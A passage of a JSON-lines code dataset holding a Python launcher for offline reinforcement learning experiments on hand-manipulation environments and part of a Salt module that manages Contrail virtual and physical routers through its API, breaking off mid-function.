{"api_name": "pygame.image.load", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "pygameWindow.PYGAME_WINDOW", "line_number": 64, "usage_type": "call"}, {"api_name": "Leap.Finger.TYPE_INDEX", "line_number": 97, "usage_type": "attribute"}, {"api_name": "Leap.Finger", "line_number": 97, "usage_type": "name"}, {"api_name": "Leap.Bone.TYPE_DISTAL", "line_number": 99, "usage_type": "attribute"}, {"api_name": "Leap.Bone", "line_number": 99, "usage_type": "name"}, {"api_name": "pygame.font.Font", "line_number": 115, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pygame.font.get_default_font", "line_number": 115, "usage_type": "call"}, {"api_name": "pygameWindow.screen.blit", "line_number": 117, "usage_type": "call"}, {"api_name": "pygameWindow.screen", "line_number": 117, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pygameWindow.Draw_Black_Line", "line_number": 129, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 139, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 140, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 141, "usage_type": "attribute"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 161, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 161, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 161, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowWidth", "line_number": 167, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 168, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowWidth", "line_number": 170, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 195, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 195, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 195, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 196, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 199, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 199, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 199, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 200, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 203, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 203, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 203, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 204, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 207, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 207, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 207, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "time.time", "line_number": 211, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 212, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 212, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 212, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 213, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 231, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 231, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 233, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 233, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 233, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 241, "usage_type": "call"}, {"api_name": "time.time", "line_number": 242, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 243, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 243, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 243, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 245, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 259, "usage_type": "call"}, {"api_name": "pygameWindow.Draw_Image", "line_number": 261, "usage_type": "call"}, {"api_name": "constants.pygameWindowWidth", "line_number": 261, "usage_type": "attribute"}, {"api_name": "constants.pygameWindowDepth", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 262, "usage_type": "call"}, {"api_name": "time.time", "line_number": 271, "usage_type": "call"}, {"api_name": "Leap.Controller", "line_number": 275, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 276, "usage_type": "call"}, {"api_name": "pygameWindow.Prepare", "line_number": 279, "usage_type": "call"}, {"api_name": "pygameWindow.Reveal", "line_number": 294, "usage_type": "call"}]} +{"seq_id": "143401300", "text": "\"\"\"\nExample usage from command line\npython railrl/launchers/experiments/ashvin/bear_launcher.py --demo_data=/home/ashvin/data/s3doodad/demos/icml2020/hand/pen2_sparse.npy --eval_freq=1000 --algo_name=BEAR --env_name=pen-v0 --log_dir=data_walker_BEAR/ --lagrange_thresh=10.0 --distance_type=MMD --mode=auto --num_samples_match=5 --lamda=0.0 --version=0 --mmd_sigma=20.0 --kernel_type=gaussian --use_ensemble_variance=\"False\"\n\"\"\"\n\nimport gym\nimport numpy as np\nimport torch\nimport argparse\nimport os\nimport os.path as osp\n\nimport BEAR.utils as utils\nimport BEAR.DDPG as DDPG\nimport BEAR.algos as algos\nimport BEAR.TD3 as TD3\nfrom BEAR.logger import logger, setup_logger\nfrom BEAR.logger import create_stats_ordered_dict\n# import point_mass\n\nfrom rlkit.core import logger as railrl_logger\nfrom rlkit.misc.asset_loader import load_local_or_remote_file\n\nimport mj_envs\n\nENV_PARAMS = {\n 'pen-v0': {\n 'off_policy_data': [\n dict(\n path=\"demos/icml2020/hand/pen2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n dict(\n path=\"demos/icml2020/hand/pen_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n ],\n },\n 'door-v0': {\n 'off_policy_data': [\n dict(\n path=\"demos/icml2020/hand/door2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n dict(\n path=\"demos/icml2020/hand/door_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n ],\n },\n 'relocate-v0': {\n 'off_policy_data': [\n dict(\n path=\"demos/icml2020/hand/relocate2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n dict(\n # path=\"demos/icml2020/hand/relocate_bc_sparse1.npy\",\n path=\"demos/icml2020/hand/relocate_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n ],\n },\n}\n\n# Runs policy for X episodes and returns average reward\ndef evaluate_policy(env, policy, eval_episodes=10):\n avg_reward = 0.\n all_rewards = []\n for _ in range(eval_episodes):\n obs = env.reset()\n done = False\n cntr = 0\n while ((not done)):\n action = policy.select_action(np.array(obs))\n obs, reward, done, _ = env.step(action)\n avg_reward += reward\n cntr += 1\n all_rewards.append(avg_reward)\n avg_reward /= eval_episodes\n for j in range(eval_episodes-1, 1, -1):\n all_rewards[j] = all_rewards[j] - all_rewards[j-1]\n\n all_rewards = np.array(all_rewards)\n std_rewards = np.std(all_rewards)\n median_reward = np.median(all_rewards)\n print (\"---------------------------------------\")\n print (\"Evaluation over %d episodes: %f\" % (eval_episodes, avg_reward))\n print (\"---------------------------------------\")\n return avg_reward, std_rewards, median_reward\n\ndef evaluate_policy_discounted(env, policy, eval_episodes=10):\n avg_reward = 0.\n all_rewards = []\n gamma = 0.99\n for _ in range(eval_episodes):\n obs = env.reset()\n done = False\n cntr = 0\n gamma_t = 1\n while ((not done)):\n action = policy.select_action(np.array(obs))\n obs, reward, done, _ = env.step(action)\n avg_reward += (gamma_t * reward)\n gamma_t = gamma * gamma_t\n cntr += 1\n all_rewards.append(avg_reward)\n avg_reward /= eval_episodes\n for j in range(eval_episodes-1, 1, -1):\n all_rewards[j] = all_rewards[j] - all_rewards[j-1]\n\n all_rewards = np.array(all_rewards)\n std_rewards = np.std(all_rewards)\n median_reward = np.median(all_rewards)\n print (\"---------------------------------------\")\n print (\"Evaluation over %d episodes: %f\" % (eval_episodes, avg_reward))\n print (\"---------------------------------------\")\n return avg_reward, std_rewards, median_reward\n\n\ndef experiment(variant):\n # Use any random seed, and not the user provided seed\n seed = np.random.randint(10, 1000)\n\n # if not os.path.exists(\"./results\"):\n # os.makedirs(\"./results\")\n\n # if args.env_name == 'Multigoal-v0':\n # env = point_mass.MultiGoalEnv(distance_cost_coeff=10.0)\n env_name = variant[\"env_name\"]\n env = gym.make(env_name)\n env_params = ENV_PARAMS[env_name]\n variant.update(env_params)\n\n env.seed(seed)\n torch.manual_seed(seed)\n np.random.seed(seed)\n\n state_dim = env.observation_space.shape[0]\n action_dim = env.action_space.shape[0]\n max_action = float(env.action_space.high[0])\n print (state_dim, action_dim)\n print ('Max action: ', max_action)\n\n log_dir = osp.join(railrl_logger.get_snapshot_dir(), \"log\") # don't clobber\n setup_logger(variant=variant, log_dir=log_dir)\n\n algo_kwargs = variant[\"algo_kwargs\"]\n algo_name = variant[\"algorithm\"]\n\n if algo_name == 'BCQ':\n policy = algos.BCQ(state_dim, action_dim, max_action)\n elif algo_name == 'TD3':\n policy = TD3.TD3(state_dim, action_dim, max_action)\n elif algo_name == 'BC':\n policy = algos.BCQ(state_dim, action_dim, max_action, cloning=True)\n elif algo_name == 'DQfD':\n policy = algos.DQfD(state_dim, action_dim, max_action, lambda_=variant[\"lamda\"], margin_threshold=float(variant[\"margin_threshold\"]))\n elif algo_name == 'KLControl':\n policy = algos.KLControl(2, state_dim, action_dim, max_action)\n elif algo_name == 'BEAR':\n policy = algos.BEAR(2, state_dim, action_dim, max_action,\n delta_conf=0.1, use_bootstrap=False,\n **algo_kwargs,\n )\n elif algo_name == 'BEAR_IS':\n policy = algos.BEAR_IS(2, state_dim, action_dim, max_action,\n delta_conf=0.1, use_bootstrap=False,\n **algo_kwargs,\n )\n\n # Load buffer\n replay_buffer = utils.ReplayBuffer()\n if variant[\"env_name\"] == 'Multigoal-v0':\n replay_buffer.load_point_mass(buffer_name, bootstrap_dim=4, dist_cost_coeff=0.01)\n else:\n for off_policy_kwargs in variant.get(\"off_policy_data\"):\n file_path = off_policy_kwargs.pop(\"path\")\n demo_data = load_local_or_remote_file(file_path)\n replay_buffer.load_data(demo_data, bootstrap_dim=4, trajs=True, **off_policy_kwargs)\n\n evaluations = []\n\n episode_num = 0\n done = True\n\n training_iters = 0\n while training_iters < variant[\"max_timesteps\"]:\n pol_vals = policy.train(replay_buffer, iterations=int(variant[\"eval_freq\"]))\n\n ret_eval, var_ret, median_ret = evaluate_policy(env, policy)\n evaluations.append(ret_eval)\n np.save(osp.join(log_dir, \"results.npy\"), evaluations)\n\n training_iters += variant[\"eval_freq\"]\n print (\"Training iterations: \" + str(training_iters))\n logger.record_tabular('Training Epochs', int(training_iters // int(variant[\"eval_freq\"])))\n logger.record_tabular('AverageReturn', ret_eval)\n logger.record_tabular('VarianceReturn', var_ret)\n logger.record_tabular('MedianReturn', median_ret)\n logger.dump_tabular()\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--env_name\", default=\"HalfCheetah-v2\") # OpenAI gym environment name\n parser.add_argument(\"--seed\", default=0, type=int) # Sets Gym, PyTorch and Numpy seeds\n parser.add_argument(\"--buffer_type\", default=\"Robust\") # Prepends name to filename.\n parser.add_argument(\"--eval_freq\", default=5e3, type=float) # How often (time steps) we evaluate\n parser.add_argument(\"--max_timesteps\", default=1e6, type=float) # Max time steps to run environment for\n parser.add_argument(\"--demo_data\", default=None, type=str) # the path to the buffer file\n parser.add_argument(\"--off_policy_data\", default=None, type=str) # the path to the buffer file\n parser.add_argument(\"--version\", default='0', type=str) # Basically whether to do min(Q), max(Q), mean(Q) over multiple Q networks for policy updates\n parser.add_argument(\"--lamda\", default=0.5, type=float) # Unused parameter -- please ignore\n parser.add_argument(\"--threshold\", default=0.05, type=float) # Unused parameter -- please ignore\n parser.add_argument('--use_bootstrap', default=False, type=bool) # Whether to use bootstrapped ensembles or plain ensembles\n parser.add_argument('--algo_name', default=\"OursBCQ\", type=str) # Which algo to run (see the options below in the main function)\n parser.add_argument('--mode', default='hardcoded', type=str) # Whether to do automatic lagrange dual descent or manually tune coefficient of the MMD loss (prefered \"auto\")\n parser.add_argument('--num_samples_match', default=10, type=int) # number of samples to do matching in MMD\n parser.add_argument('--mmd_sigma', default=10.0, type=float) # The bandwidth of the MMD kernel parameter\n parser.add_argument('--kernel_type', default='laplacian', type=str) # kernel type for MMD (\"laplacian\" or \"gaussian\")\n parser.add_argument('--lagrange_thresh', default=10.0, type=float) # What is the threshold for the lagrange multiplier\n parser.add_argument('--distance_type', default=\"MMD\", type=str) # Distance type (\"KL\" or \"MMD\")\n parser.add_argument('--log_dir', default='./data_hopper/', type=str) # Logging directory\n parser.add_argument('--use_ensemble_variance', default='True', type=str) # Whether to use ensemble variance or not\n parser.add_argument('--use_behaviour_policy', default='False', type=str)\n parser.add_argument('--cloning', default=\"False\", type=str)\n parser.add_argument('--num_random', default=10, type=int)\n parser.add_argument('--margin_threshold', default=10, type=float) # for DQfD baseline\n args = parser.parse_args()\n\n algo_kwargs = dict(\n version=args.version,\n lambda_=float(args.lamda),\n threshold=float(args.threshold),\n mode=args.mode,\n num_samples_match=args.num_samples_match,\n mmd_sigma=args.mmd_sigma,\n lagrange_thresh=args.lagrange_thresh,\n use_kl=(True if args.distance_type == \"KL\" else False),\n use_ensemble=(False if args.use_ensemble_variance == \"False\" else True),\n kernel_type=args.kernel_type,\n )\n\n variant = dict(\n algorithm=args.algo_name,\n version=args.version,\n env_name=args.env_name,\n lamda=args.lamda,\n threshold=args.threshold,\n use_bootstrap=str(args.use_bootstrap),\n bootstrap_dim=4,\n delta_conf=0.1,\n mode=args.mode,\n kernel_type=args.kernel_type,\n num_samples_match=args.num_samples_match,\n mmd_sigma=args.mmd_sigma,\n lagrange_thresh=args.lagrange_thresh,\n distance_type=args.distance_type,\n use_ensemble_variance=args.use_ensemble_variance,\n use_data_policy=args.use_behaviour_policy,\n num_random=args.num_random,\n margin_threshold=args.margin_threshold,\n demo_data=args.demo_data,\n algo_kwargs=algo_kwargs,\n )\n\n experiment(variant)\n", "sub_path": "rlkit/launchers/experiments/ashvin/bear_launcher.py", "file_name": "bear_launcher.py", "file_ext": "py", "file_size_in_byte": 11498, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 132, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path", "line_number": 154, "usage_type": "name"}, {"api_name": "rlkit.core.logger.get_snapshot_dir", "line_number": 154, "usage_type": "call"}, {"api_name": "rlkit.core.logger", "line_number": 154, "usage_type": "name"}, {"api_name": "BEAR.logger.setup_logger", "line_number": 155, "usage_type": "call"}, {"api_name": "BEAR.algos.BCQ", "line_number": 161, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 161, "usage_type": "name"}, {"api_name": "BEAR.TD3.TD3", "line_number": 163, "usage_type": "call"}, {"api_name": "BEAR.TD3", "line_number": 163, "usage_type": "name"}, {"api_name": "BEAR.algos.BCQ", "line_number": 165, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 165, "usage_type": "name"}, {"api_name": "BEAR.algos.DQfD", "line_number": 167, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 167, "usage_type": "name"}, {"api_name": "BEAR.algos.KLControl", "line_number": 169, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 169, "usage_type": "name"}, {"api_name": "BEAR.algos.BEAR", "line_number": 171, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 171, "usage_type": "name"}, {"api_name": "BEAR.algos.BEAR_IS", "line_number": 176, "usage_type": "call"}, {"api_name": "BEAR.algos", "line_number": 176, "usage_type": "name"}, {"api_name": "BEAR.utils.ReplayBuffer", "line_number": 182, "usage_type": "call"}, {"api_name": "BEAR.utils", "line_number": 182, "usage_type": "name"}, {"api_name": "rlkit.misc.asset_loader.load_local_or_remote_file", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "name"}, {"api_name": "BEAR.logger.logger.record_tabular", "line_number": 206, "usage_type": "call"}, {"api_name": "BEAR.logger.logger", "line_number": 206, "usage_type": "name"}, {"api_name": "BEAR.logger.logger.record_tabular", "line_number": 207, "usage_type": "call"}, {"api_name": "BEAR.logger.logger", "line_number": 207, "usage_type": "name"}, {"api_name": "BEAR.logger.logger.record_tabular", "line_number": 208, "usage_type": "call"}, {"api_name": "BEAR.logger.logger", "line_number": 208, "usage_type": "name"}, {"api_name": "BEAR.logger.logger.record_tabular", "line_number": 209, "usage_type": "call"}, {"api_name": "BEAR.logger.logger", "line_number": 209, "usage_type": "name"}, {"api_name": "BEAR.logger.logger.dump_tabular", "line_number": 210, "usage_type": "call"}, {"api_name": "BEAR.logger.logger", "line_number": 210, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 215, "usage_type": "call"}]} +{"seq_id": "353665123", "text": "#!/usr/bin/python\n# Copyright 2017 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom netaddr import IPNetwork\nfrom vnc_api.vnc_api import PhysicalRouter, PhysicalInterface, LogicalInterface\nfrom vnc_api.vnc_api import EncapsulationPrioritiesType\nfrom vnc_api.vnc_api import VirtualMachineInterface, MacAddressesType\nfrom vnc_api.vnc_api import ServiceApplianceSet, KeyValuePairs, KeyValuePair\n\ntry:\n from vnc_api import vnc_api\n from vnc_api.vnc_api import LinklocalServiceEntryType, \\\n LinklocalServicesTypes, GlobalVrouterConfig\n from vnc_api.gen.resource_client import VirtualRouter, AnalyticsNode, \\\n ConfigNode, DatabaseNode, BgpRouter\n from vnc_api.gen.resource_xsd import AddressFamilies, BgpSessionAttributes, \\\n BgpSession, BgpPeeringAttributes, BgpRouterParams\n\n HAS_CONTRAIL = True\nexcept ImportError:\n HAS_CONTRAIL = False\n\n__opts__ = {}\n\n\ndef __virtual__():\n '''\n Only load this module if vnc_api library is installed.\n '''\n if HAS_CONTRAIL:\n return 'contrail'\n\n return False\n\n\ndef _auth(**kwargs):\n '''\n Set up Contrail API credentials.\n '''\n user = kwargs.get('user')\n password = kwargs.get('password')\n tenant_name = kwargs.get('project')\n api_host = kwargs.get('api_server_ip')\n api_port = kwargs.get('api_server_port')\n api_base_url = kwargs.get('api_base_url')\n use_ssl = False\n auth_host = kwargs.get('auth_host_ip')\n vnc_lib = vnc_api.VncApi(user, password, tenant_name,\n api_host, api_port, api_base_url, wait_for_connect=True,\n api_server_use_ssl=use_ssl, auth_host=auth_host)\n\n return vnc_lib\n\n\ndef _get_config(vnc_client, global_system_config='default-global-system-config'):\n try:\n gsc_obj = vnc_client.global_system_config_read(id=global_system_config)\n except vnc_api.NoIdError:\n gsc_obj = vnc_client.global_system_config_read(fq_name_str=global_system_config)\n except:\n gsc_obj = None\n\n return gsc_obj\n\n\ndef _get_rt_inst_obj(vnc_client):\n # TODO pick fqname hardcode from common\n rt_inst_obj = vnc_client.routing_instance_read(\n fq_name=['default-domain', 'default-project',\n 'ip-fabric', '__default__'])\n\n return rt_inst_obj\n\n\ndef _get_fq_name(vnc_client, resource_name, project_name, domain='default-domain'):\n res = [domain]\n if project_name:\n res.append(project_name)\n if resource_name:\n res.append(resource_name)\n return res\n\n\ndef _get_project_obj(vnc_client, name, domain='default-domain'):\n return vnc_client.project_read(fq_name=[domain, name])\n\n\ndef _get_ip(ip_w_pfx):\n return str(IPNetwork(ip_w_pfx).ip)\n\n\ndef virtual_router_list(**kwargs):\n '''\n Return a list of all Contrail virtual routers\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_router_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n vrouter_objs = vnc_client._objects_list('virtual-router', detail=True)\n for vrouter_obj in vrouter_objs:\n ret[vrouter_obj.name] = {\n 'ip_address': vrouter_obj.virtual_router_ip_address,\n 'dpdk_enabled': vrouter_obj.virtual_router_dpdk_enabled,\n 'uuid': vrouter_obj.uuid\n\n }\n return ret\n\n\ndef virtual_router_get(name, **kwargs):\n '''\n Return a specific Contrail virtual router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_router_get cmp01\n '''\n ret = {}\n vrouter_objs = virtual_router_list(**kwargs)\n if name in vrouter_objs:\n ret[name] = vrouter_objs.get(name)\n if len(ret) == 0:\n return {'Error': 'Error in retrieving virtual router.'}\n return ret\n\n\ndef virtual_router_create(name, ip_address, router_type=None, dpdk_enabled=False, **kwargs):\n '''\n Create specific Contrail virtual router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_router_create cmp02 10.10.10.102\n router_types:\n - tor-agent\n - tor-service-node\n - embedded\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n vrouter_objs = virtual_router_list(**kwargs)\n router_types = ['tor-agent', 'tor-service-node', 'embedded']\n if router_type not in router_types:\n router_type = None\n if name in vrouter_objs:\n vrouter = virtual_router_get(name)\n vrouter_obj = vnc_client._object_read('virtual-router', id=vrouter[name]['uuid'])\n changed = False\n if vrouter_obj.get_virtual_router_ip_address() != ip_address:\n ret['ip_address'] = {'from': vrouter_obj.get_virtual_router_ip_address(), \"to\": ip_address}\n vrouter_obj.set_virtual_router_ip_address(ip_address)\n changed = True\n if vrouter_obj.get_virtual_router_type() != router_type:\n ret['router_type'] = {\"from\": vrouter_obj.get_virtual_router_type(), \"to\": router_type}\n vrouter_obj.set_virtual_router_type(router_type)\n changed = True\n if vrouter_obj.get_virtual_router_dpdk_enabled() != dpdk_enabled:\n ret['dpdk_enabled'] = {\"from\": vrouter_obj.get_virtual_router_dpdk_enabled(), \"to\": dpdk_enabled}\n vrouter_obj.set_virtual_router_dpdk_enabled(dpdk_enabled)\n changed = True\n if changed:\n if __opts__['test']:\n return \"Virtual router \" + name + \" will be updated\"\n vnc_client.virtual_router_update(vrouter_obj)\n return ret\n return {'OK': 'Virtual router %s already exists and is updated' % name}\n else:\n vrouter_obj = VirtualRouter(\n name, gsc_obj,\n virtual_router_ip_address=ip_address,\n virtual_router_type=router_type)\n vrouter_obj.set_virtual_router_dpdk_enabled(dpdk_enabled)\n if __opts__['test']:\n return \"Virtual router \" + name + \" will be created\"\n vnc_client.virtual_router_create(vrouter_obj)\n ret = virtual_router_list(**kwargs)\n return \"Create\"\n\n\ndef virtual_router_delete(name, **kwargs):\n '''\n Delete specific Contrail virtual router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.virtual_router_delete cmp01\n '''\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n vrouter_obj = VirtualRouter(name, gsc_obj)\n if __opts__['test']:\n return \"Virtual router \" + name + \" will be deleted\"\n vnc_client.virtual_router_delete(\n fq_name=vrouter_obj.get_fq_name())\n return \"Deleted\"\n\n\ndef physical_router_list(**kwargs):\n '''\n Return a list of all Contrail physical routers\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_router_list\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n prouter_objs = vnc_client._objects_list('physical-router', detail=True)\n for prouter_obj in prouter_objs:\n ret[prouter_obj.name] = {\n 'uuid': prouter_obj._uuid,\n 'management_ip': prouter_obj._physical_router_management_ip,\n 'product_name': prouter_obj._physical_router_product_name,\n }\n\n return ret\n\n\ndef physical_router_get(name, **kwargs):\n '''\n Return a specific Contrail physical router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_router_get router_name\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n prouter_objs = vnc_client._objects_list('physical-router', detail=True)\n for prouter_obj in prouter_objs:\n if name == prouter_obj.name:\n ret[name] = prouter_obj.__dict__\n if len(ret) == 0:\n return {'Error': 'Error in retrieving physical router.'}\n return ret\n\n\ndef physical_router_create(name, parent_type=None,\n management_ip=None,\n dataplane_ip=None, # VTEP address in web GUI\n vendor_name=None,\n product_name=None,\n vnc_managed=None,\n junos_service_ports=None,\n agents=None, **kwargs):\n '''\n Create specific Contrail physical router\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' contrail.physical_router_create OVSDB_router management_ip=10.167.4.202 dataplane_ip=172.16.20.15 vendor_name=MyVendor product_name=MyProduct agents=\"['tor01','tns01']\"\n '''\n ret = {}\n vnc_client = _auth(**kwargs)\n gsc_obj = _get_config(vnc_client)\n prouter_objs = physical_router_list(**kwargs)\n if name in prouter_objs:\n prouter = physical_router_get(name)\n prouter_obj = vnc_client._object_read('physical-router', id=prouter[name]['_uuid'])\n if prouter_obj.physical_router_management_ip != management_ip:\n ret['management_ip'] = {'from': prouter_obj.physical_router_management_ip, \"to\": management_ip}\n prouter_obj.set_physical_router_management_ip(management_ip)\n if prouter_obj.physical_router_dataplane_ip != dataplane_ip:\n ret['dataplane_ip'] = {'from': prouter_obj.physical_router_dataplane_ip, \"to\": dataplane_ip}\n prouter_obj.set_physical_router_dataplane_ip(dataplane_ip)\n if prouter_obj.get_physical_router_vendor_name() != vendor_name:\n ret['vendor_name'] = {'from': prouter_obj.get_physical_router_vendor_name(), \"to\": vendor_name}\n prouter_obj.set_physical_router_vendor_name(vendor_name)\n if prouter_obj.get_physical_router_product_name() != product_name:\n ret['product_name'] = {'from': prouter_obj.get_physical_router_product_name(), \"to\": product_name}\n prouter_obj.set_physical_router_product_name(product_name)\n if prouter_obj.get_physical_router_vnc_managed() != vnc_managed:\n ret['vnc_managed'] = {'from': prouter_obj.get_physical_router_vnc_managed(), \"to\": vnc_managed}\n prouter_obj.set_physical_router_vnc_managed(vnc_managed)\n if prouter_obj.get_physical_router_junos_service_ports() != junos_service_ports:\n ret['junos_service_ports'] = {'from': prouter_obj.get_physical_router_junos_service_ports(),\n \"to\": junos_service_ports}\n prouter_obj.set_physical_router_junos_service_ports(junos_service_ports)\n\n if __opts__['test']:\n if len(ret) != 0:\n return \"Physical router \" + name + \" will be updated\"\n return {\"OK\": \"Physical router exists and is updated\"}\n\n vrouter_objs = vnc_client._objects_list('virtual-router', detail=True) # all vrouter objects\n c_agents = [] # referenced vrouters\n for c_agent in prouter_obj.get_virtual_router_refs():\n c_agents.append(c_agent['uuid'])\n agent_objs = [] # required state of references\n for vrouter_obj in vrouter_objs:\n if vrouter_obj._display_name in agents and vrouter_obj._uuid not in c_agents:\n prouter_obj.add_virtual_router(vrouter_obj)\n ret['vrouter ' + vrouter_obj._display_name] = \"Reference added\"\n if vrouter_obj._display_name not in agents and vrouter_obj._uuid in c_agents:\n prouter_obj.del_virtual_router(vrouter_obj)\n ret['vrouter ' + vrouter_obj._display_name] = \"Reference removed\"\n vnc_client.physical_router_update(prouter_obj)\n\n if len(ret) == 0:\n return {\"OK\": \"Physical router exists and is updated\"}\n return ret\n else:\n if __opts__['test']:\n return \"Physical router \" + name + \" will be created\"\n prouter_obj = PhysicalRouter(\n name=name,\n parent_obj=None,\n 